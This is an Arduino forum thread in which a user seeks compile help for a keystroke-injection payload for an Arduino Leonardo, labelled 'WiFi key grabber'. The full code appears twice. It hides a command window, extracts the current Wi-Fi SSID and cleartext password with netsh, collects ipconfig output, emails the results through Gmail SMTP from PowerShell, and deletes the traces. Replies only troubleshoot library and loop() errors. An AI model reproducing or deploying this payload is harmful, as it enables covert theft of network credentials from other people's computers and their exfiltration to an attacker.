Problem with code

Hi, I'm trying a code for Arduino Leonardo, but when i compile, arduino tells me: exit status 1
Error compiling for board Arduino Leonardo.

This is the code:

#include <paensy.h>

void setup() {

// Configure the delay that everything else scales off of.
SetDelay(200);
// Configure the delay that the Morse code uses.
SetMorseDelay(250);

// Perform an initial delay to give the USB time to prepare.
PerformInitDelay();

Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.set_key1(KEY_D);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
RunCommand("cmd");
delay(500);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_SPACE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
PressKey(KEY_M, 1);
delay(500);
PressKey(KEY_DOWN, 100);
PressKey(KEY_ENTER, 1);

Keyboard.print("cd ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("%USERPROFILE%");
Keyboard.set_key1(KEY_BACKSLASH);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("Desktop");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" & for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("tokens=2 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" %A in ('netsh wlan show interface ^| findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("SSID");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" ^| findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("BSSID");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("') do set A=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("netsh wlan show profiles %A% key=clear | findstr /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("Network type");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Authentication");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Key Content");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" | findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("broadcast");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" | findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Radio");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(">>A.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=3 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Network type");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set B=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=2 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Authentication");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set C=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=3 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Key Content");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set D=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("del A.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("ipconfig /all>>Log.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("powershell");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.EnableSsl = $true");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('@gmail.com', '')");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.From = ''@gmail.com'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.To.Add(''@gmail.com')");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.Subject = 'WiFi key grabber'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.Body = (Get-Content Log.txt | out-string)");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.Send($ReportEmail)");
PressKey(KEY_ENTER, 1);
delay(5000);
Keyboard.print("exit");
PressKey(KEY_ENTER, 1);
delay(3000);
Keyboard.print("del Log.txt & exit");
PressKey(KEY_ENTER, 1);
}

I am not responsible for the use of this code.

Thanks

NapsterXz:
Hi, I'm trying a code for Arduino Leonardo, but when i compile, arduino tells me: exit status 1
Error compiling for board Arduino Leonardo.

This is the code:

#include <paensy.h>

void setup() {

// Configure the delay that everything else scales off of.
SetDelay(200);
// Configure the delay that the Morse code uses.
SetMorseDelay(250);

// Perform an initial delay to give the USB time to prepare.
PerformInitDelay();

Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.set_key1(KEY_D);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
RunCommand("cmd");
delay(500);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_SPACE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
PressKey(KEY_M, 1);
delay(500);
PressKey(KEY_DOWN, 100);
PressKey(KEY_ENTER, 1);

Keyboard.print("cd ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("%USERPROFILE%");
Keyboard.set_key1(KEY_BACKSLASH);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("Desktop");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" & for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("tokens=2 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" %A in ('netsh wlan show interface ^| findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("SSID");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" ^| findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("BSSID");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("') do set A=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("netsh wlan show profiles %A% key=clear | findstr /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("Network type");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Authentication");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Key Content");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" | findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("broadcast");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" | findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Radio");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(">>A.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=3 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Network type");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set B=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=2 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Authentication");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set C=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=3 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Key Content");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set D=%A");
PressKey(KEY_ENTER, 1);

Keyboard.print("del A.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("ipconfig /all>>Log.txt");
PressKey(KEY_ENTER, 1);

Keyboard.print("powershell");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.EnableSsl = $true");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('@gmail.com', '')");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.From = ''@gmail.com'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.To.Add(''@gmail.com')");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.Subject = 'WiFi key grabber'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.Body = (Get-Content Log.txt | out-string)");
PressKey(KEY_ENTER, 1); 
Keyboard.print("$SMTPInfo.Send($ReportEmail)");
PressKey(KEY_ENTER, 1);
delay(5000);
Keyboard.print("exit");
PressKey(KEY_ENTER, 1); 
delay(3000);
Keyboard.print("del Log.txt & exit");
PressKey(KEY_ENTER, 1); 
}



I am not responsible for the use of this code.

Thanks

Firstly you should wrap the code in the code braces.
Also you should paste up the ERROR as that should help in pointing it out.
Fair chance that the error is in the included file, but we can't see that either.

Arduino: 1.8.9 (Windows 10), Board: "Arduino Leonardo"

In file included from C:\Users\Napster\Documents\ProgramsArduino\Pateensy-master\Pateensy-master\Payloads\WiFi_Hacker\WiFi_Hacker.ino:31:0:

C:\Program Files (x86)\Arduino\libraries\PaensyLib/paensy.h:3:22: fatal error: WProgram.h: No such file or directory

compilation terminated.

exit status 1
Error compiling for board Arduino Leonardo.

In C:\Program Files (x86)\Arduino\libraries\PaensyLib/ I have paensy.cpp and paensy.h

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.

Hiddenvision:
Firstly you should wrap the code in the code braces.
Also you should paste up the ERROR as that should help in pointing it out.
Fair chance that the error is in the included file, but we can't see that either.

Bingo,
I get the same

Arduino: 1.8.9 (Windows 10), Board: "Arduino Nano, ATmega328P"

FORUM_Test1:3:20: error: paensy.h: No such file or directory

compilation terminated.

exit status 1
paensy.h: No such file or directory

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.

This is because the library/file does not exist on my machine.
Perhaps it does not exist on yours also.?

Or try instead

#include "paensy.h"

or perhaps it is this that is missing,
fatal error: WProgram.h: No such file or directory

Hiddenvision:
Bingo,
I get the same

Arduino: 1.8.9 (Windows 10), Board: "Arduino Nano, ATmega328P"

FORUM_Test1:3:20: error: paensy.h: No such file or directory

compilation terminated.

exit status 1
paensy.h: No such file or directory

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.




This is because the library/file does not exist on my machine.
Perhaps it does not exist on yours also.?

Or try instead


#include "paensy.h"




or perhaps it is this that is missing,
fatal error: WProgram.h: No such file or directory

it must be that it doesn't exist because trying '#include "paensy.h"' doesn't work

The different include wrappers "" or <> do play a part.
One is for user libs I think, but I forget what way round.

So if putting in quotes gives a more abrupt failure then the <> could be right.

As mentioned it may be
fatal error: WProgram.h: No such file or directory

no doubt included by the paensy.h stuff.

Hiddenvision:
The different include wrappers "" or <> do play a part.
One is for user libs I think, but I forget what way round.

So if putting in quotes gives a more abrupt failure then the <> could be right.

As mentioned it may be
fatal error: WProgram.h: No such file or directory

no doubt included by the paensy.h stuff.

yes that's the problem.

The project is old, it might not be compatible anymore
Thanks you

I read that you change

Wprogram.h to Arduino.h

or even perhaps remove//comment the line totally.

Hiddenvision:
I read that you change

Wprogram.h to Arduino.h

or even perhaps remove//comment the line totally.

I have installed the necessary packages. The new mistake is:

C:\Users\Napster\AppData\Local\Temp\arduino_build_921109/core\core.a(main.cpp.o): In function `main':

C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy3/main.cpp:53: undefined reference to `loop'

Every project must have a setup() and a loop().
Even if empty